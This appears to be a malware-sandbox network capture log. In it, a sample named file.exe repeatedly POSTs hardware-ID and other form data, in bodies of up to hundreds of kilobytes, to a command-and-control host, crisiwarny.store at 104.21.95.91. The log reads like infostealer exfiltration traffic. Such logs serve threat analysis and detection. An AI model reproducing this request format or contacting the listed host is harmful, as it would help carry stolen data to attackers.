2024-10-26 03:54:05 UTC	1369	IN	Data Raw: 61 55 47 6e 4b 32 6c 61 75 73 68 6b 79 54 57 70 69 70 52 37 4a 41 5a 41 52 72 47 52 75 38 36 77 4b 65 37 69 6e 6e 67 58 39 7a 66 4c 78 55 59 2f 47 41 34 36 65 4e 48 73 59 66 6b 61 74 4a 75 55 68 37 43 57 73 55 48 66 79 6a 53 70 48 78 5a 62 48 50 53 6b 68 4b 6e 78 70 7a 74 35 43 6e 6f 59 56 61 6b 6c 6a 51 37 51 36 77 56 43 6c 66 4f 54 49 5a 35 72 38 41 74 2f 31 70 75 4e 46 4f 57 77 75 41 57 6d 58 2f 6e 71 2f 67 32 52 36 61 56 4a 71 71 54 62 35 49 5a 41 64 77 46 52 50 30 71 45 71 4c 39 32 4f 74 78 56 31 42 52 4a 55 51 64 4c 4f 57 72 36 53 54 56 64 34 52 30 4b 52 57 39 78 51 70 4a 33 49 4d 4f 65 36 33 41 6f 61 34 63 50 2f 47 56 41 41 54 33 78 31 77 76 70 69 70 70 6f 70 62 6b 31 2b 56 71 55 6d 37 54 47 6b 45 66 78 77 58 39 4b 31 4f 6c 66 56 6b 75 73 56 4b 55 Data Ascii: aUGnK2laushkyTWpipR7JAZARrGRu86wKe7inngX9zfLxUY/GA46eNHsYfkatJuUh7CWsUHfyjSpHxZbHPSkhKnxpzt5CnoYVakljQ7Q6wVClfOTIZ5r8At/1puNFOWwuAWmX/nq/g2R6aVJqqTb5IZAdwFRP0qEqL92OtxV1BRJUQdLOWr6STVd4R0KRW9xQpJ3IMOe63Aoa4cP/GVAAT3x1wvpippopbk1+VqUm7TGkEfxwX9K1OlfVkusVKU
2024-10-26 03:54:05 UTC	1369	IN	Data Raw: 36 73 35 54 6a 37 73 46 5a 68 68 2f 49 34 32 6d 74 51 57 38 51 61 43 38 64 2f 50 51 43 68 72 68 77 2f 38 5a 55 41 42 50 66 47 58 43 31 6c 4b 61 6b 69 56 6d 64 58 70 79 6e 51 37 70 49 59 41 4e 38 43 41 6a 36 71 30 4b 57 2b 47 61 7a 30 31 5a 46 53 35 4e 55 4d 76 2b 65 75 2b 44 5a 48 71 39 49 6b 4f 4e 52 2b 56 55 70 41 48 56 61 51 72 79 71 54 34 76 36 5a 72 2f 41 57 30 52 41 6d 42 4a 36 76 70 71 6d 6f 34 52 59 6e 31 2b 63 71 55 6d 2f 52 6d 63 4b 66 78 34 63 2b 75 55 4d 32 66 46 78 2f 35 6b 59 63 6b 61 52 48 58 2b 35 6c 4c 57 49 73 42 36 42 45 59 6e 6a 53 62 73 4d 4d 55 64 39 45 52 4c 77 6f 45 71 63 39 32 47 31 79 56 64 50 57 5a 34 62 64 62 69 53 72 71 2b 50 57 35 42 4e 6c 36 68 46 76 30 56 6e 41 54 6c 55 57 76 75 39 41 73 47 32 58 37 7a 50 55 31 46 45 6e 42 Data Ascii: 6s5Tj7sFZhh/I42mtQW8QaC8d/PQChrhw/8ZUABPfGXC1lKakiVmdXpynQ7pIYAN8CAj6q0KW+Gaz01ZFS5NUMv+eu+DZHq9IkONR+VUpAHVaQryqT4v6Zr/AW0RAmBJ6vpqmo4RYn1+cqUm/RmcKfx4c+uUM2fFx/5kYckaRHX+5lLWIsB6BEYnjSbsMMUd9ERLwoEqc92G1yVdPWZ4bdbiSrq+PW5BNl6hFv0VnATlUWvu9AsG2X7zPU1FEnB
2024-10-26 03:54:05 UTC	1369	IN	Data Raw: 34 2b 37 42 57 59 59 66 79 4f 4e 2f 6f 55 74 75 43 44 73 7a 48 65 65 6b 53 4a 72 39 5a 66 2f 65 46 6c 6b 4c 6d 42 67 38 35 39 6d 75 72 49 78 61 6a 46 4f 51 6f 30 65 77 52 6e 73 49 64 68 63 5a 2f 4b 42 51 6d 4f 52 6d 74 4d 52 62 52 45 53 51 47 48 53 31 32 65 33 67 68 6b 62 65 42 39 43 50 54 61 5a 47 4b 79 42 6a 44 42 33 77 74 45 6d 55 2b 69 6d 67 6a 30 45 41 54 4a 4e 55 4a 50 2b 5a 6f 71 32 54 57 35 39 56 6d 71 35 47 75 45 6c 73 43 48 30 65 45 66 4b 33 54 4a 62 32 62 37 54 41 58 55 4e 41 6c 52 70 31 72 64 6e 74 34 49 5a 47 33 67 66 51 69 56 57 32 51 57 56 46 56 78 45 4d 2b 2b 64 6a 6c 2f 31 75 73 39 63 59 58 77 57 47 56 48 75 7a 32 66 76 67 69 46 43 53 58 4a 65 72 52 72 4a 4d 59 67 64 32 45 42 54 37 74 30 69 56 2f 48 75 77 77 6c 56 45 52 70 55 52 64 61 32 Data Ascii: 4+7BWYYfyON/oUtuCDszHeekSJr9Zf/eFlkLmBg859murIxajFOQo0ewRnsIdhcZ/KBQmORmtMRbRESQGHS12e3ghkbeB9CPTaZGKyBjDB3wtEmU+imgj0EATJNUJP+Zoq2TW59Vmq5GuElsCH0eEfK3TJb2b7TAXUNAlRp1rdnt4IZG3gfQiVW2QWVFVxEM++djl/1us9cYXwWGVHuz2fvgiFCSXJerRrJMYgd2EBT7t0iV/HuwwlVERpURda2
2024-10-26 03:54:05 UTC	1369	IN	Data Raw: 52 36 65 57 35 79 67 53 62 6c 44 5a 41 68 2b 45 52 58 32 71 31 43 57 38 32 47 7a 79 56 56 53 51 5a 55 47 64 62 61 55 72 61 69 54 58 64 34 52 30 4b 52 57 39 78 51 70 4e 58 4d 5a 46 75 71 6f 54 64 6e 70 4a 36 61 42 58 30 77 4c 78 31 52 75 72 5a 6d 6f 6f 49 5a 51 6a 46 36 59 72 45 53 33 53 6d 49 4e 65 68 4d 65 38 71 78 45 6d 50 74 6f 76 73 46 64 51 45 4b 4e 47 54 7a 78 32 61 53 34 77 51 62 65 61 4a 79 6f 66 37 52 61 4b 52 67 33 41 31 72 37 71 51 4c 42 74 6d 69 74 7a 46 42 45 53 35 49 53 64 37 36 59 6f 4b 43 42 58 5a 35 61 6d 36 78 49 73 45 46 6a 44 6e 41 49 45 76 69 33 51 70 58 79 4b 66 47 42 58 31 67 4c 78 31 52 4d 76 4a 4b 76 6f 49 78 4c 33 6b 44 65 75 67 36 77 51 43 6c 66 4f 52 49 52 39 36 4e 4a 6d 76 56 6e 74 4d 74 58 54 30 47 5a 45 6e 53 36 6d 61 2b 67 Data Ascii: R6eW5ygSblDZAh+ERX2q1CW82GzyVVSQZUGdbaUraiTXd4R0KRW9xQpNXMZFuqoTdnpJ6aBX0wLx1RurZmooIZQjF6YrES3SmINehMe8qxEmPtovsFdQEKNGTzx2aS4wQbeaJyof7RaKRg3A1r7qQLBtmitzFBES5ISd76YoKCBXZ5am6xIsEFjDnAIEvi3QpXyKfGBX1gLx1RMvJKvoIxL3kDeug6wQClfORIR96NJmvVntMtXT0GZEnS6ma+g
2024-10-26 03:54:05 UTC	1369	IN	Data Raw: 4b 41 70 41 37 35 44 47 39 48 49 55 70 55 76 4b 46 54 32 61 34 35 37 5a 6f 4e 45 78 7a 50 52 6d 50 78 67 4f 4f 32 77 51 62 4d 45 64 43 78 44 75 38 4d 4c 67 52 72 43 42 7a 2f 73 30 48 65 79 46 65 66 79 6c 52 44 52 35 34 54 50 50 48 5a 72 4f 44 5a 5a 39 35 63 67 72 45 42 70 6c 70 6b 46 33 35 57 45 75 32 6f 54 74 6d 34 4b 66 50 46 55 30 78 4f 6d 41 51 7a 72 59 6d 6f 72 4a 63 53 6d 6b 33 51 37 51 36 6d 52 32 59 56 64 78 31 56 37 62 4e 50 69 66 56 73 75 49 31 51 55 55 61 54 56 44 4c 2f 6a 4b 69 73 68 31 4f 4c 45 49 47 31 54 61 46 4c 4a 51 39 6f 46 78 61 38 6d 67 7a 5a 37 69 6e 6e 67 57 31 44 52 5a 45 54 61 71 37 55 67 36 75 4e 58 5a 4a 65 6c 2b 4d 41 39 30 6f 70 58 79 70 55 57 76 69 30 41 73 47 6d 4f 2b 53 55 43 78 63 62 7a 51 73 79 70 74 6d 31 34 4e 6b 4d 30 Data Ascii: KApA75DG9HIUpUvKFT2a457ZoNExzPRmPxgOO2wQbMEdCxDu8MLgRrCBz/s0HeyFefylRDR54TPPHZrODZZ95cgrEBplpkF35WEu2oTtm4KfPFU0xOmAQzrYmorJcSmk3Q7Q6mR2YVdx1V7bNPifVsuI1QUUaTVDL/jKish1OLEIG1TaFLJQ9oFxa8mgzZ7inngW1DRZETaq7Ug6uNXZJel+MA90opXypUWvi0AsGmO+SUCxcbzQsyptm14NkM0
2024-10-26 03:54:05 UTC	1369	IN	Data Raw: 4f 37 77 77 75 43 58 51 62 47 66 4b 6d 55 49 76 77 61 71 6e 43 48 33 35 31 75 68 6c 78 75 70 65 6b 6e 72 39 2f 6c 45 2b 64 72 45 6d 4a 63 6c 34 57 66 67 70 59 32 71 5a 55 6d 72 59 6e 2f 39 6b 59 47 41 75 2b 48 6d 79 79 6c 71 54 67 7a 78 36 61 48 38 6a 6a 61 37 70 42 62 41 6c 2b 57 44 76 32 74 55 2b 57 38 53 6e 78 67 56 51 41 45 39 38 56 64 71 2b 55 72 4b 66 4e 57 59 52 59 30 4f 30 4f 75 51 77 78 52 33 67 51 43 76 47 71 52 64 58 77 5a 37 47 42 52 77 35 53 33 77 49 38 35 38 72 74 34 4a 4d 65 78 68 2f 58 72 55 4f 32 54 32 63 45 61 77 67 63 2f 37 4e 42 33 73 68 58 6d 73 78 56 52 55 57 59 4b 6b 4b 65 6b 37 4f 74 6a 6c 6e 63 66 35 65 31 54 59 6c 79 58 68 5a 2b 43 6c 6a 61 70 6c 53 61 74 69 66 2f 32 52 67 59 43 37 34 65 62 4c 4b 57 70 4f 4b 68 57 59 68 63 30 4f Data Ascii: O7wwuCXQbGfKmUIvwaqnCH351uhlxupeknr9/lE+drEmJcl4WfgpY2qZUmrYn/9kYGAu+HmyylqTgzx6aH8jja7pBbAl+WDv2tU+W8SnxgVQAE98Vdq+UrKfNWYRY0O0OuQwxR3gQCvGqRdXwZ7GBRw5S3wI858rt4JMexh/XrUO2T2cEawgc/7NB3shXmsxVRUWYKkKek7Otjlncf5e1TYlyXhZ+CljaplSatif/2RgYC74ebLKWpOKhWYhc0O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.95.91	443	7488	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:54:06 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: crisiwarny.store
2024-10-26 03:54:06 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:54:06 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-26 03:54:07 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hdgrhi1jnh3sovbpmmcsfgl1ra; expires=Tue, 18 Feb 2025 21:40:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rwexyei2CGK09uvnFXTQuJj%2BnkPSjQTH2HMm%2F3Jie%2B8OXMIm3Ir3jEUX6uXwudiWzRMa38I0aMk6kDPws%2BGdFiZPipybkr5%2B6h6KHqLiDui891ewMHqjGEzbZmANJShP6x3P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8780cfef97407e-LHR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106332&sent=13&recv=22&lost=0&retrans=0&sent_bytes=2839&recv_bytes=19130&delivery_rate=27867&cwnd=32&unsent_bytes=0&cid=d6e50a8ff155d93a&ts=577&x=0"
2024-10-26 03:54:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:54:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.95.91	443	7488	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:54:08 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: crisiwarny.store
2024-10-26 03:54:08 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:54:08 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=162ega2calmgpbfklgd0uqvf2a; expires=Tue, 18 Feb 2025 21:40:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QN3GdDqBM14P6Bz1KLFIl7v1HRUiIjZM%2FH2pa1v5B3YrXq%2BUXA%2FKL%2B4wPkWiLWrIbYXWwk6ZiVy1QRjOP5Zm1KWCvuNgwOXASEDN219hU995ghfoBr%2F95phm00axKnA3f%2BHp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8780d96a5c79c4-LHR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106023&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2838&recv_bytes=9728&delivery_rate=27848&cwnd=32&unsent_bytes=0&cid=81bbaba076c4bd91&ts=482&x=0"
2024-10-26 03:54:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:54:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.95.91	443	7488	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:54:09 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: crisiwarny.store
2024-10-26 03:54:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:54:09 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-26 03:54:10 UTC	1006	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l63f302f52le532d9qt65vae3o; expires=Tue, 18 Feb 2025 21:40:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eJgD7S2arcMZlQOWvHHaPdle8R4PEklnjZxrVdvsZhGH8eaj1Yj4rHPtLp6mbPUtSmZs9miXmETLvHempRpLQTYDHZeV8r39zPRTYDVjQQZetvFRGJrbxRWAojokdxf%2FwWVK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8780e36f220e37-AMS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=122616&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2838&recv_bytes=21404&delivery_rate=23624&cwnd=32&unsent_bytes=0&cid=de7c9da4d8b1562e&ts=617&x=0"
2024-10-26 03:54:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:54:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.95.91	443	7488	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:54:11 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1276 Host: crisiwarny.store
2024-10-26 03:54:11 UTC	1276	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:54:11 UTC	1009	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pl4qo6mhqg1pudh0ovoqca8s23; expires=Tue, 18 Feb 2025 21:40:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6KRGiolxEhNpwRovZAUW%2F2nP68rtbNYnToD%2FtIv2oZbtrndaE3d9nPenB%2F1sHLxRhHuQybFuPkdPeLSqJhaze2iVe344plC0k5Z8CPjDtTeYu4Cygddn6%2BJ5zV4VU35ryRt6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8780eefa887735-LHR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=104183&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2193&delivery_rate=27788&cwnd=32&unsent_bytes=0&cid=94deafd2fbeeb5d9&ts=428&x=0"
2024-10-26 03:54:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:54:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	104.21.95.91	443	7488	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:54:13 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549439 Host: crisiwarny.store
2024-10-26 03:54:13 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
